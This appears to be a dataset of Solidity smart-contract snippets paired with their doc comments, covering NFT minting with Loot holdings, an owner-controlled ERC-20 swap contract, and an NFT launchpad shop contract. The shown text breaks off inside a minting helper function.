isProjectEndorsed(address _project) public view returns(bool){ return projectRegistry[_project].endorsementPerMint > 0; } function getOwnerOf(address _project, uint256 _tokenId) public view returns(address){ if(tokenRegistry[_project][_tokenId]){ return LCDProject(_project).ownerOf(_tokenId); } return address(0); } /* * * Private * */ /* * Distributes LCD tokens to minters of endorsed projects */ function _distributeEndorsement(address _minter, uint256 _amount) private { if(_amount > 0 && lcdToken.balanceOf(address(this)) >= _amount){ lcdToken.transfer(_minter, _amount); } } /* * Registers tokenIds to global registry */ function _registerId(address _project, uint256 _tokenId) private { require(!tokenRegistry[_project][_tokenId], "Already registered"); tokenRegistry[_project][_tokenId] = true; } /* * Registers respective shares of mint fee to curator and protocol */ function _registerFeesFromMint(address _project, uint256 _amount) private { if(_amount > 0){ uint256 protocolShare = _amount.div(5); affiliateOrCuratorFeesClaimable[projectRegistry[_project].curator] = affiliateOrCuratorFeesClaimable[projectRegistry[_project].curator].add(_amount.sub(protocolShare)); protocolClaimableFees = protocolClaimableFees.add(protocolShare); } } /* * Registers respective shares of prop or registry fee to affiliate and protocol */ function _registerFeesFromProp(address _affiliate, uint256 _amount) private { if(_affiliate == address(0)){ protocolClaimableFees = protocolClaimableFees.add(_amount); } else { uint256 protocolShare = _amount.div(5); affiliateOrCuratorFeesClaimable[_affiliate] = affiliateOrCuratorFeesClaimable[_affiliate].add(_amount.sub(protocolShare)); protocolClaimableFees = protocolClaimableFees.add(protocolShare); } } }
Mint on standard projects as Loot holder/
function mintWithLoot(address _project, uint256 _lootId) public payable nonReentrant { Project memory project = projectRegistry[_project]; require(lootContract.ownerOf(_lootId) == msg.sender, "Not owner"); require(msg.value == project.lootPrice, "Incorrect value"); require(!project.isCustomProject, "Custom project"); LCDProject(_project).mintWithLoot(msg.sender, _lootId); _registerId(_project, _lootId); _registerFeesFromMint(_project, project.lootPrice); _distributeEndorsement(msg.sender, project.endorsementPerMint); emit LCDMint(_project, msg.sender, _lootId, true); }
2,218,544
pragma solidity ^0.6.2; import "./Ownable.sol"; import "./SafeMath.sol"; import "./TokenERC20Aly.sol"; import "./TokenERC20Dai.sol"; /// @title Cryptogama swap contract /// @author Raphael Pinto Gregorio /// @notice Use this contract to swap ERC-20 tokens /// @dev The owner of this contract need to get the approval from both token owners to be able to proceed the swap contract CryptogamaSwap is Ownable { address payable private _owner; event TokenExchanged(address indexed from, address indexed to, uint256 amountSold, uint256 amountBought); event SwapContractEmptied(address indexed to, uint256 ETHAmount, uint256 ALYAmount, uint256 DAIAmount); constructor () payable public { _owner = msg.sender; } receive() external payable {} /// @notice perform tokens swap between two owners /// @dev swap tokens, owner of swap contract need the approval of both token owners, emit an event called TokenExchanged /// @param sellerAddress the address of the seller, sellerTokenAddress the address of the seller ERC-20, amountSeller the amount the seller wants to exchange, buyerAddress the buyer address, buyerTokenAddress the adress of the buyer ERC-20, amountBuyer the amount to be exchanged /// @return an event TokenExchanged containing the seller address, the buyer address, the amount sold and the amount bought in this order function swapToken(address sellerAddress, address payable sellerTokenAddress, uint256 amountSeller, address buyerAddress, address payable buyerTokenAddress, uint256 amountBuyer) external onlyOwner returns(bool){ TokenERC20Aly TokenSell = TokenERC20Aly(sellerTokenAddress); TokenERC20Dai TokenBuy = TokenERC20Dai(buyerTokenAddress); TokenSell.transfer(buyerAddress, amountSeller); TokenBuy.transfer(sellerAddress, amountBuyer); emit TokenExchanged(sellerAddress, buyerAddress, amountSeller, amountBuyer); } /// @notice withdraw all funds from contract /// @dev withdraw funds from contract and transfer them to current owner, including ETH, emit an event called SwapContractEmptied /// @param ALYTokenAddress the address of ALY token, DAITokenAddress the address of DAI token /// An event SwapContractEmptied containing the owner address, the ETH amount sent, ALY amount sent and DAI amount sent is emitted function withdrawAll(address payable ALYTokenAddress, address payable DAITokenAddress) external onlyOwner { TokenERC20Aly TokenALY = TokenERC20Aly(ALYTokenAddress); TokenERC20Dai TokenDAI = TokenERC20Dai(DAITokenAddress); address payable self = address(this); uint256 ETHbalance = self.balance; uint256 ALYbalance = TokenALY.balanceOf(address(this)); uint256 DAIbalance = TokenDAI.balanceOf(address(this)); _owner.transfer(ETHbalance); if (ALYbalance > 0) { TokenALY.transfer(_owner, ALYbalance); } if (DAIbalance > 0) { TokenDAI.transfer(_owner, DAIbalance); } emit SwapContractEmptied(_owner, ETHbalance, ALYbalance, DAIbalance); } }
perform tokens swap between two owners swap tokens, owner of swap contract need the approval of both token owners, emit an event called TokenExchanged sellerAddress the address of the seller, sellerTokenAddress the address of the seller ERC-20, amountSeller the amount the seller wants to exchange, buyerAddress the buyer address, buyerTokenAddress the adress of the buyer ERC-20, amountBuyer the amount to be exchanged return an event TokenExchanged containing the seller address, the buyer address, the amount sold and the amount bought in this order
function swapToken(address sellerAddress, address payable sellerTokenAddress, uint256 amountSeller, address buyerAddress, address payable buyerTokenAddress, uint256 amountBuyer) external onlyOwner returns(bool){ TokenERC20Aly TokenSell = TokenERC20Aly(sellerTokenAddress); TokenERC20Dai TokenBuy = TokenERC20Dai(buyerTokenAddress); TokenSell.transfer(buyerAddress, amountSeller); TokenBuy.transfer(sellerAddress, amountBuyer); emit TokenExchanged(sellerAddress, buyerAddress, amountSeller, amountBuyer); }
905,564
./full_match/80001/0x950b1756c44c95a4469e915484b6AEdFA134F434/sources/project_/contracts/Traductores.sol
Función para indicar el nuevo owner una única vez
function setOwner(address _newOwner) external onlyAdmin { require(owner == address(0), "La direccion del owner al principio debe ser 0"); require(_newOwner != address(0), "La direccion del owner no puede ser 0"); owner = _newOwner; }
9,538,178
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./base/Sweepable.sol"; import "./assets/erc1155/interfaces/ISuper1155.sol"; import "./assets/erc721/interfaces/ISuper721.sol"; import "./interfaces/IStaker.sol"; import "./interfaces/IMintShop.sol"; import "./libraries/merkle/SuperMerkleAccess.sol"; import "./libraries/DFStorage.sol"; /** @title A Shop contract for selling NFTs via direct minting through particular pools with specific participation requirements. @author Tim Clancy @author Qazawat Zirak @author Rostislav Khlebnikov @author Nikita Elunin This launchpad contract sells new items by minting them into existence. It cannot be used to sell items that already exist. */ contract MintShop1155 is Sweepable, ReentrancyGuard, IMintShop, SuperMerkleAccess { using SafeERC20 for IERC20; /// The public identifier for the right to set the payment receiver. bytes32 public constant SET_PAYMENT_RECEIVER = keccak256("SET_PAYMENT_RECEIVER"); /// The public identifier for the right to lock the payment receiver. bytes32 public constant LOCK_PAYMENT_RECEIVER = keccak256("LOCK_PAYMENT_RECEIVER"); /// The public identifier for the right to update the global purchase limit. bytes32 public constant UPDATE_GLOBAL_LIMIT = keccak256("UPDATE_GLOBAL_LIMIT"); /// The public identifier for the right to lock the global purchase limit. bytes32 public constant LOCK_GLOBAL_LIMIT = keccak256("LOCK_GLOBAL_LIMIT"); /// The public identifier for the right to manage whitelists. bytes32 public constant WHITELIST = keccak256("WHITELIST"); /// The public identifier for the right to manage item pools. bytes32 public constant POOL = keccak256("POOL"); /// The public identifier for the right to set new items. bytes32 public constant SET_ITEMS = keccak256("SET_ITEMS"); /// @dev A mask for isolating an item's group ID. uint256 constant GROUP_MASK = uint256(type(uint128).max) << 128; /// The maximum amount that can be minted through all collections. uint256 public immutable maxAllocation; /// The item collection contract that minted items are sold from. ISuper1155[] public items; /** The address where the payment from each item buyer is sent. Care must be taken that this address can actually take receipt of the Ether or ERC-20 earnings. */ address public paymentReceiver; /** A flag determining whether or not the `paymentReceiver` may be updated using the `updatePaymentReceiver` function. */ bool public paymentReceiverLocked; /** A limit on the number of items that a particular address may purchase across any number of pools in this shop. */ uint256 public globalPurchaseLimit; /** A flag determining whether or not the `globalPurchaseLimit` may be updated using the `updateGlobalPurchaseLimit` function. */ bool public globalPurchaseLimitLocked; /// A mapping of addresses to the number of items each has purchased globally. mapping (address => uint256) public globalPurchaseCounts; /// The next available ID to be assumed by the next pool added. uint256 public nextPoolId; /// A mapping of pool IDs to pools. mapping (uint256 => Pool) public pools; /** This mapping relates each item group ID to the next item ID within that group which should be issued, minus one. */ mapping (bytes32 => uint256) public nextItemIssues; /** This struct tracks information about a single item pool in the Shop. @param currentPoolVersion A version number hashed with item group IDs before being used as keys to other mappings. This supports efficient invalidation of stale mappings. @param config configuration struct PoolInput. @param purchaseCounts A mapping of addresses to the number of items each has purchased from this pool. @param itemCaps A mapping of item group IDs to the maximum number this pool is allowed to mint. @param itemMinted A mapping of item group IDs to the number this pool has currently minted. @param itemPrices A mapping of item group IDs to a mapping of available Price assets available to purchase with. @param itemGroups An array of all item groups currently present in this pool. */ struct Pool { uint256 currentPoolVersion; DFStorage.PoolInput config; mapping (address => uint256) purchaseCounts; mapping (bytes32 => uint256) itemCaps; mapping (bytes32 => uint256) itemMinted; mapping (bytes32 => uint256) itemPricesLength; mapping (bytes32 => mapping (uint256 => DFStorage.Price)) itemPrices; uint256[] itemGroups; Whitelist[] whiteLists; } /** This struct tracks information about a single whitelist known to this shop. Whitelists may be shared across multiple different item pools. @param id Id of the whiteList. @param minted Mapping, which is needed to keep track of whether a user bought an nft or not. */ struct Whitelist { uint256 id; mapping (address => uint256) minted; } /** This struct tracks information about a single item being sold in a pool. @param groupId The group ID of the specific NFT in the collection being sold by a pool. @param cap The maximum number of items that this shop may mint for the specified `groupId`. @param minted The number of items that a pool has currently minted of the specified `groupId`. @param prices The `Price` options that may be used to purchase this item from its pool. A buyer may fulfill the purchase with any price option. */ struct PoolItem { uint256 groupId; uint256 cap; uint256 minted; DFStorage.Price[] prices; } /** This struct contains the information gleaned from the `getPool` and `getPools` functions; it represents a single pool's data. @param config configuration struct PoolInput @param itemMetadataUri The metadata URI of the item collection being sold by this launchpad. @param items An array of PoolItems representing each item for sale in the pool. */ struct PoolOutput { DFStorage.PoolInput config; string itemMetadataUri; PoolItem[] items; } // /** // This struct contains the information gleaned from the `getPool` and // `getPools` functions; it represents a single pool's data. It also includes // additional information relevant to a user's address lookup. // @param purchaseCount The amount of items purchased from this pool by the // specified address. // @param config configuration struct PoolInput. // @param whitelistStatus Whether or not the specified address is whitelisted // for this pool. // @param itemMetadataUri The metadata URI of the item collection being sold by // this launchpad. // @param items An array of PoolItems representing each item for sale in the // pool. // */ // struct PoolAddressOutput { // uint256 purchaseCount; // DFStorage.PoolInput config; // bool whitelistStatus; // string itemMetadataUri; // PoolItem[] items; // } /** An event to track an update to this shop's `paymentReceiver`. @param updater The calling address which updated the payment receiver. @param oldPaymentReceiver The address of the old payment receiver. @param newPaymentReceiver The address of the new payment receiver. */ event PaymentReceiverUpdated(address indexed updater, address indexed oldPaymentReceiver, address indexed newPaymentReceiver); /** An event to track future changes to `paymentReceiver` being locked. @param locker The calling address which locked down the payment receiver. */ event PaymentReceiverLocked(address indexed locker); /** An event to track an update to this shop's `globalPurchaseLimit`. @param updater The calling address which updated the purchase limit. @param oldPurchaseLimit The value of the old purchase limit. @param newPurchaseLimit The value of the new purchase limit. */ event GlobalPurchaseLimitUpdated(address indexed updater, uint256 indexed oldPurchaseLimit, uint256 indexed newPurchaseLimit); /** An event to track future changes to `globalPurchaseLimit` being locked. @param locker The calling address which locked down the purchase limit. */ event GlobalPurchaseLimitLocked(address indexed locker); /** An event to track a specific whitelist being updated. When emitted this event indicates that a specific whitelist has had its settings completely replaced. @param updater The calling address which updated this whitelist. @param whitelistId The ID of the whitelist being updated. @param timestamp Timestamp of whiteList update. */ event WhitelistUpdated(address indexed updater, uint256 whitelistId, uint256 timestamp); /** An event to track an item pool's data being updated. When emitted this event indicates that a specific item pool's settings have been completely replaced. @param updater The calling address which updated this pool. @param poolId The ID of the pool being updated. @param pool The input data used to update the pool. @param groupIds The groupIds that are now on sale in the item pool. @param caps The caps, keyed to `groupIds`, of the maximum that each groupId may mint up to. @param prices The prices, keyed to `groupIds`, of the arrays for `Price` objects that each item group may be able be bought with. */ event PoolUpdated(address indexed updater, uint256 poolId, DFStorage.PoolInput indexed pool, uint256[] groupIds, uint256[] caps, DFStorage.Price[][] indexed prices); /** An event to track the purchase of items from an item pool. @param buyer The address that bought the item from an item pool. @param poolId The ID of the item pool that the buyer bought from. @param itemIds The array of item IDs that were purchased by the user. @param amounts The keyed array of each amount of item purchased by `buyer`. */ event ItemPurchased(address indexed buyer, uint256 poolId, uint256[] indexed itemIds, uint256[] amounts); /** Construct a new shop which can mint items upon purchase from various pools. @param _paymentReceiver The address where shop earnings are sent. @param _globalPurchaseLimit A global limit on the number of items that a single address may purchase across all item pools in the shop. */ constructor(address _owner, address _paymentReceiver, uint256 _globalPurchaseLimit, uint256 _maxAllocation) { if (_owner != owner()) { transferOwnership(_owner); } // Initialization. paymentReceiver = _paymentReceiver; globalPurchaseLimit = _globalPurchaseLimit; maxAllocation = _maxAllocation; } /** Allow the shop owner or an approved manager to update the payment receiver address if it has not been locked. @param _newPaymentReceiver The address of the new payment receiver. */ function updatePaymentReceiver(address _newPaymentReceiver) external hasValidPermit(UNIVERSAL, SET_PAYMENT_RECEIVER) { require(!paymentReceiverLocked, "XXX" ); emit PaymentReceiverUpdated(_msgSender(), paymentReceiver, _newPaymentReceiver); // address oldPaymentReceiver = paymentReceiver; paymentReceiver = _newPaymentReceiver; } /** Allow the shop owner or an approved manager to set the array of items known to this shop. @param _items The array of Super1155 addresses. */ function setItems(ISuper1155[] calldata _items) external hasValidPermit(UNIVERSAL, SET_ITEMS) { items = _items; } /** Allow the shop owner or an approved manager to lock the payment receiver address against any future changes. */ function lockPaymentReceiver() external hasValidPermit(UNIVERSAL, LOCK_PAYMENT_RECEIVER) { paymentReceiverLocked = true; emit PaymentReceiverLocked(_msgSender()); } /** Allow the shop owner or an approved manager to update the global purchase limit if it has not been locked. @param _newGlobalPurchaseLimit The value of the new global purchase limit. */ function updateGlobalPurchaseLimit(uint256 _newGlobalPurchaseLimit) external hasValidPermit(UNIVERSAL, UPDATE_GLOBAL_LIMIT) { require(!globalPurchaseLimitLocked, "0x0A"); emit GlobalPurchaseLimitUpdated(_msgSender(), globalPurchaseLimit, _newGlobalPurchaseLimit); globalPurchaseLimit = _newGlobalPurchaseLimit; } /** Allow the shop owner or an approved manager to lock the global purchase limit against any future changes. */ function lockGlobalPurchaseLimit() external hasValidPermit(UNIVERSAL, LOCK_GLOBAL_LIMIT) { globalPurchaseLimitLocked = true; emit GlobalPurchaseLimitLocked(_msgSender()); } /** Adds new whiteList restriction for the pool by `_poolId`. @param _poolId id of the pool, where new white list is added. @param whitelist struct for creating a new whitelist. */ function addWhiteList(uint256 _poolId, DFStorage.WhiteListCreate[] calldata whitelist) external hasValidPermit(UNIVERSAL, WHITELIST) { for (uint256 i = 0; i < whitelist.length; i++) { super.setAccessRound(whitelist[i]._accesslistId, whitelist[i]._merkleRoot, whitelist[i]._startTime, whitelist[i]._endTime, whitelist[i]._price, whitelist[i]._token); pools[_poolId].whiteLists.push(); uint256 newIndex = pools[_poolId].whiteLists.length - 1; pools[_poolId].whiteLists[newIndex].id = whitelist[i]._accesslistId; emit WhitelistUpdated(_msgSender(), whitelist[i]._accesslistId, block.timestamp); } } /** A function which allows the caller to retrieve information about specific pools, the items for sale within, and the collection this shop uses. @param _ids An array of pool IDs to retrieve information about. */ function getPools(uint256[] calldata _ids, uint256 _itemIndex) external view returns (PoolOutput[] memory) { PoolOutput[] memory poolOutputs = new PoolOutput[](_ids.length); for (uint256 i = 0; i < _ids.length; i++) { uint256 id = _ids[i]; // Process output for each pool. PoolItem[] memory poolItems = new PoolItem[](pools[id].itemGroups.length); for (uint256 j = 0; j < pools[id].itemGroups.length; j++) { uint256 itemGroupId = pools[id].itemGroups[j]; bytes32 itemKey = keccak256(abi.encodePacked(pools[id].config.collection, pools[id].currentPoolVersion, itemGroupId)); // Parse each price the item is sold at. DFStorage.Price[] memory itemPrices = new DFStorage.Price[](pools[id].itemPricesLength[itemKey]); for (uint256 k = 0; k < pools[id].itemPricesLength[itemKey]; k++) { itemPrices[k] = pools[id].itemPrices[itemKey][k]; } // Track the item. poolItems[j] = PoolItem({ groupId: itemGroupId, cap: pools[id].itemCaps[itemKey], minted: pools[id].itemMinted[itemKey], prices: itemPrices }); } // Track the pool. poolOutputs[i] = PoolOutput({ config: pools[id].config, itemMetadataUri: items[_itemIndex].metadataUri(), items: poolItems }); } // Return the pools. return poolOutputs; } /** A function which allows the caller to retrieve the number of items specific addresses have purchased from specific pools. @param _ids The IDs of the pools to check for addresses in `purchasers`. @param _purchasers The addresses to check the purchase counts for. */ function getPurchaseCounts(address[] calldata _purchasers, uint256[] calldata _ids) external view returns (uint256[][] memory) { uint256[][] memory purchaseCounts = new uint256[][](_purchasers.length); for (uint256 i = 0; i < _purchasers.length; i++) { purchaseCounts[i] = new uint256[](_ids.length); for (uint256 j = 0; j < _ids.length; j++) { uint256 id = _ids[j]; address purchaser = _purchasers[i]; purchaseCounts[i][j] = pools[id].purchaseCounts[purchaser]; } } return purchaseCounts; } // /** // A function which allows the caller to retrieve information about specific // pools, the items for sale within, and the collection this launchpad uses. // A provided address differentiates this function from `getPools`; the added // address enables this function to retrieve pool data as well as whitelisting // and purchase count details for the provided address. // @param _ids An array of pool IDs to retrieve information about. // */ // function getPoolsWithAddress(uint256[] calldata _ids) // external view returns (PoolAddressOutput[] memory) { // PoolAddressOutput[] memory poolOutputs = // new PoolAddressOutput[](_ids.length); // for (uint256 i = 0; i < _ids.length; i++) { // uint256 id = _ids[i]; // // Process output for each pool. // PoolItem[] memory poolItems = new PoolItem[](pools[id].itemGroups.length); // for (uint256 j = 0; j < pools[id].itemGroups.length; j++) { // uint256 itemGroupId = pools[id].itemGroups[j]; // bytes32 itemKey = keccak256(abi.encodePacked(pools[id].config.collection, // pools[id].currentPoolVersion, itemGroupId)); // // Parse each price the item is sold at. // DFStorage.Price[] memory itemPrices = // new DFStorage.Price[](pools[id].itemPricesLength[itemKey]); // for (uint256 k = 0; k < pools[id].itemPricesLength[itemKey]; k++) { // itemPrices[k] = pools[id].itemPrices[itemKey][k]; // } // // Track the item. // poolItems[j] = PoolItem({ // groupId: itemGroupId, // cap: pools[id].itemCaps[itemKey], // minted: pools[id].itemMinted[itemKey], // prices: itemPrices // }); // } // // Track the pool. // // uint256 whitelistId = pools[id].config.requirement.whitelistId; // // bytes32 addressKey = keccak256( // // abi.encode(whitelists[whitelistId].currentWhitelistVersion, _address)); // // poolOutputs[i] = PoolAddressOutput({ // // config: pools[id].config, // // itemMetadataUri: items[_itemIndex].metadataUri(), // // items: poolItems, // // purchaseCount: pools[id].purchaseCounts[_address], // // whitelistStatus: whitelists[whitelistId].addresses[addressKey] // // }); // } // // Return the pools. // return poolOutputs; // } /** Allow the owner of the shop or an approved manager to add a new pool of items that users may purchase. @param _pool The PoolInput full of data defining the pool's operation. @param _groupIds The specific item group IDs to sell in this pool, keyed to the `_amounts` array. @param _issueNumberOffsets The offset for the next issue number minted for a particular item group in `_groupIds`. This is *important* to handle pre-minted or partially-minted item groups. @param _caps The maximum amount of each particular groupId that can be sold by this pool. @param _prices The asset address to price pairings to use for selling each item. */ function addPool(DFStorage.PoolInput calldata _pool, uint256[] calldata _groupIds, uint256[] calldata _issueNumberOffsets, uint256[] calldata _caps, DFStorage.Price[][] calldata _prices) external hasValidPermit(UNIVERSAL, POOL) { updatePool(nextPoolId, _pool, _groupIds, _issueNumberOffsets, _caps, _prices); // Increment the ID which will be used by the next pool added. nextPoolId += 1; } /** Allow the owner of the shop or an approved manager to update an existing pool of items. @param _id The ID of the pool to update. @param _config The PoolInput full of data defining the pool's operation. @param _groupIds The specific item group IDs to sell in this pool, keyed to the `_amounts` array. @param _issueNumberOffsets The offset for the next issue number minted for a particular item group in `_groupIds`. This is *important* to handle pre-minted or partially-minted item groups. @param _caps The maximum amount of each particular groupId that can be sold by this pool. @param _prices The asset address to price pairings to use for selling each item. */ function updatePool(uint256 _id, DFStorage.PoolInput calldata _config, uint256[] calldata _groupIds, uint256[] calldata _issueNumberOffsets, uint256[] calldata _caps, DFStorage.Price[][] memory _prices) public hasValidPermit(UNIVERSAL, POOL) { require(_id <= nextPoolId && _config.endTime >= _config.startTime && _groupIds.length > 0, "0x1A"); require(_groupIds.length == _caps.length && _caps.length == _prices.length && _issueNumberOffsets.length == _prices.length, "0x4A"); // Immediately store some given information about this pool. Pool storage pool = pools[_id]; pool.config = _config; pool.itemGroups = _groupIds; pool.currentPoolVersion = pools[_id].currentPoolVersion + 1; // Delegate work to a helper function to avoid stack-too-deep errors. _updatePoolHelper(_id, _groupIds, _issueNumberOffsets, _caps, _prices); // Emit an event indicating that a pool has been updated. emit PoolUpdated(_msgSender(), _id, _config, _groupIds, _caps, _prices); } /** A private helper function for `updatePool` to prevent it from running too deep into the stack. This function will store the amount of each item group that this pool may mint. @param _id The ID of the pool to update. @param _groupIds The specific item group IDs to sell in this pool, keyed to the `_amounts` array. @param _issueNumberOffsets The offset for the next issue number minted for a particular item group in `_groupIds`. This is *important* to handle pre-minted or partially-minted item groups. @param _caps The maximum amount of each particular groupId that can be sold by this pool. @param _prices The asset address to price pairings to use for selling each item. */ function _updatePoolHelper(uint256 _id, uint256[] calldata _groupIds, uint256[] calldata _issueNumberOffsets, uint256[] calldata _caps, DFStorage.Price[][] memory _prices) private { for (uint256 i = 0; i < _groupIds.length; i++) { require(_caps[i] > 0, "0x5A"); bytes32 itemKey = keccak256(abi.encodePacked(pools[_id].config.collection, pools[_id].currentPoolVersion, _groupIds[i])); pools[_id].itemCaps[itemKey] = _caps[i]; // Pre-seed the next item issue IDs given the pool offsets. // We generate a key from collection address and groupId. bytes32 key = keccak256(abi.encodePacked(pools[_id].config.collection, pools[_id].currentPoolVersion, _groupIds[i])); nextItemIssues[key] = _issueNumberOffsets[i]; // Store future purchase information for the item group. for (uint256 j = 0; j < _prices[i].length; j++) { pools[_id].itemPrices[itemKey][j] = _prices[i][j]; } pools[_id].itemPricesLength[itemKey] = _prices[i].length; } } function updatePoolConfig(uint256 _id, DFStorage.PoolInput calldata _config) external hasValidPermit(UNIVERSAL, POOL){ require(_id <= nextPoolId && _config.endTime >= _config.startTime, "0x1A"); pools[_id].config = _config; } /** Allow a buyer to purchase an item from a pool. @param _id The ID of the particular item pool that the user would like to purchase from. @param _groupId The item group ID that the user would like to purchase. @param _assetIndex The selection of supported payment asset `Price` that the buyer would like to make a purchase with. @param _amount The amount of item that the user would like to purchase. */ function mintFromPool(uint256 _id, uint256 _groupId, uint256 _assetIndex, uint256 _amount, uint256 _itemIndex, DFStorage.WhiteListInput calldata _whiteList) external nonReentrant payable { require(_amount > 0, "0x0B"); require(_id < nextPoolId && pools[_id].config.singlePurchaseLimit >= _amount, "0x1B"); bool whiteListed; if (pools[_id].whiteLists.length != 0) { bytes32 root = keccak256(abi.encodePacked(_whiteList.index, _msgSender(), _whiteList.allowance)); whiteListed = super.verify(_whiteList.whiteListId, _whiteList.index, root, _whiteList.merkleProof) && root == _whiteList.node && pools[_id].whiteLists[_whiteList.whiteListId].minted[_msgSender()] + _amount <= _whiteList.allowance; } require(block.timestamp >= pools[_id].config.startTime && block.timestamp <= pools[_id].config.endTime || whiteListed, "0x4B"); bytes32 itemKey = keccak256(abi.encodePacked(pools[_id].config.collection, pools[_id].currentPoolVersion, _groupId)); require(_assetIndex < pools[_id].itemPricesLength[itemKey], "0x3B"); // Verify that the pool is running its sale. // Verify that the pool is respecting per-address global purchase limits. uint256 userGlobalPurchaseAmount = _amount + globalPurchaseCounts[_msgSender()]; if (globalPurchaseLimit != 0) { require(userGlobalPurchaseAmount <= globalPurchaseLimit, "0x5B"); // Verify that the pool is respecting per-address pool purchase limits. } uint256 userPoolPurchaseAmount = _amount + pools[_id].purchaseCounts[_msgSender()]; // Verify that the pool is not depleted by the user's purchase. uint256 newCirculatingTotal = pools[_id].itemMinted[itemKey] + _amount; require(newCirculatingTotal <= pools[_id].itemCaps[itemKey], "0x7B"); { uint256 result; for (uint256 i = 0; i < nextPoolId; i++) { for (uint256 j = 0; j < pools[i].itemGroups.length; j++) { result += pools[i].itemMinted[itemKey]; } } require(maxAllocation >= result + _amount, "0x0D"); } require(checkRequirments(_id), "0x8B"); sellingHelper(_id, itemKey, _assetIndex, _amount, whiteListed, _whiteList.whiteListId); mintingHelper(_itemIndex, _groupId, _id, itemKey, _amount, newCirculatingTotal, userPoolPurchaseAmount, userGlobalPurchaseAmount); // Emit an event indicating a successful purchase. } function remainder(DFStorage.WhiteListInput calldata _whiteList, uint256 _id, address _user) public view returns (uint256) { return (pools[_id].whiteLists[_whiteList.whiteListId].minted[_user] < _whiteList.allowance) ? _whiteList.allowance - pools[_id].whiteLists[_whiteList.whiteListId].minted[_user] : 0; } function isEligible(DFStorage.WhiteListInput calldata _whiteList, uint256 _id) public view returns (bool) { return (super.verify(_whiteList.whiteListId, _whiteList.index, keccak256(abi.encodePacked(_whiteList.index, _msgSender(), _whiteList.allowance)), _whiteList.merkleProof)) && pools[_id].whiteLists[_whiteList.whiteListId].minted[_msgSender()] < _whiteList.allowance || (block.timestamp >= pools[_id].config.startTime && block.timestamp <= pools[_id].config.endTime); } function sellingHelper(uint256 _id, bytes32 itemKey, uint256 _assetIndex, uint256 _amount, bool _whiteListPrice, uint256 _accesListId) private { // Process payment for the user, checking to sell for Staker points. if (_whiteListPrice) { SuperMerkleAccess.AccessList storage accessList = SuperMerkleAccess.accessRoots[_accesListId]; uint256 price = accessList.price * _amount; if (accessList.token == address(0)) { require(msg.value >= price, "0x9B"); (bool success, ) = payable(paymentReceiver).call{ value: msg.value }(""); require(success, "0x0C"); pools[_id].whiteLists[_accesListId].minted[_msgSender()] += _amount; } else { require(IERC20(accessList.token).balanceOf(_msgSender()) >= price, "0x1C"); IERC20(accessList.token).safeTransferFrom(_msgSender(), paymentReceiver, price); pools[_id].whiteLists[_accesListId].minted[_msgSender()] += _amount; } } else { DFStorage.Price storage sellingPair = pools[_id].itemPrices[itemKey][_assetIndex]; if (sellingPair.assetType == DFStorage.AssetType.Point) { IStaker(sellingPair.asset).spendPoints(_msgSender(), sellingPair.price * _amount); // Process payment for the user with a check to sell for Ether. } else if (sellingPair.assetType == DFStorage.AssetType.Ether) { uint256 etherPrice = sellingPair.price * _amount; require(msg.value >= etherPrice, "0x9B"); (bool success, ) = payable(paymentReceiver).call{ value: msg.value }(""); require(success, "0x0C"); // Process payment for the user with a check to sell for an ERC-20 token. } else if (sellingPair.assetType == DFStorage.AssetType.Token) { uint256 tokenPrice = sellingPair.price * _amount; require(IERC20(sellingPair.asset).balanceOf(_msgSender()) >= tokenPrice, "0x1C"); IERC20(sellingPair.asset).safeTransferFrom(_msgSender(), paymentReceiver, tokenPrice); // Otherwise, error out because the payment type is unrecognized. } else { revert("0x0"); } } } /** * Private function to avoid a stack-too-deep error. */ function checkRequirments(uint256 _id) private view returns (bool) { // Verify that the user meets any requirements gating participation in this // pool. Verify that any possible ERC-20 requirements are met. uint256 amount; DFStorage.PoolRequirement memory poolRequirement = pools[_id].config.requirement; if (poolRequirement.requiredType == DFStorage.AccessType.TokenRequired) { // bytes data for (uint256 i = 0; i < poolRequirement.requiredAsset.length; i++) { amount += IERC20(poolRequirement.requiredAsset[i]).balanceOf(_msgSender()); } return amount >= poolRequirement.requiredAmount; // Verify that any possible Staker point threshold requirements are met. } else if (poolRequirement.requiredType == DFStorage.AccessType.PointRequired) { // IStaker requiredStaker = IStaker(poolRequirement.requiredAsset[0]); return IStaker(poolRequirement.requiredAsset[0]).getAvailablePoints(_msgSender()) >= poolRequirement.requiredAmount; } // Verify that any possible ERC-1155 ownership requirements are met. if (poolRequirement.requiredId.length == 0) { if (poolRequirement.requiredType == DFStorage.AccessType.ItemRequired) { for (uint256 i = 0; i < poolRequirement.requiredAsset.length; i++) { amount += ISuper1155(poolRequirement.requiredAsset[i]).totalBalances(_msgSender()); } return amount >= poolRequirement.requiredAmount; } else if (poolRequirement.requiredType == DFStorage.AccessType.ItemRequired721) { for (uint256 i = 0; i < poolRequirement.requiredAsset.length; i++) { amount += ISuper721(poolRequirement.requiredAsset[i]).balanceOf(_msgSender()); } // IERC721 requiredItem = IERC721(poolRequirement.requiredAsset[0]); return amount >= poolRequirement.requiredAmount; } } else { if (poolRequirement.requiredType == DFStorage.AccessType.ItemRequired) { // ISuper1155 requiredItem = ISuper1155(poolRequirement.requiredAsset[0]); for (uint256 i = 0; i < poolRequirement.requiredAsset.length; i++) { for (uint256 j = 0; j < poolRequirement.requiredAsset.length; j++) { amount += ISuper1155(poolRequirement.requiredAsset[i]).balanceOf(_msgSender(), poolRequirement.requiredId[j]); } } return amount >= poolRequirement.requiredAmount; } else if (poolRequirement.requiredType == DFStorage.AccessType.ItemRequired721) { for (uint256 i = 0; i < poolRequirement.requiredAsset.length; i++) { for (uint256 j = 0; j < poolRequirement.requiredAsset.length; j++) { amount += ISuper721(poolRequirement.requiredAsset[i]).balanceOfGroup(_msgSender(), poolRequirement.requiredId[j]); } } return amount >= poolRequirement.requiredAmount; } } return true; } /** * Private function to avoid a stack-too-deep error. */ function mintingHelper(uint256 _itemIndex, uint256 _groupId, uint256 _id, bytes32 _itemKey, uint256 _amount, uint256 _newCirculatingTotal, uint256 _userPoolPurchaseAmount, uint256 _userGlobalPurchaseAmount) private { // If payment is successful, mint each of the user's purchased items. uint256[] memory itemIds = new uint256[](_amount); uint256[] memory amounts = new uint256[](_amount); bytes32 key = keccak256(abi.encodePacked(pools[_id].config.collection, pools[_id].currentPoolVersion, _groupId)); uint256 nextIssueNumber = nextItemIssues[key]; { uint256 shiftedGroupId = _groupId << 128; for (uint256 i = 1; i <= _amount; i++) { 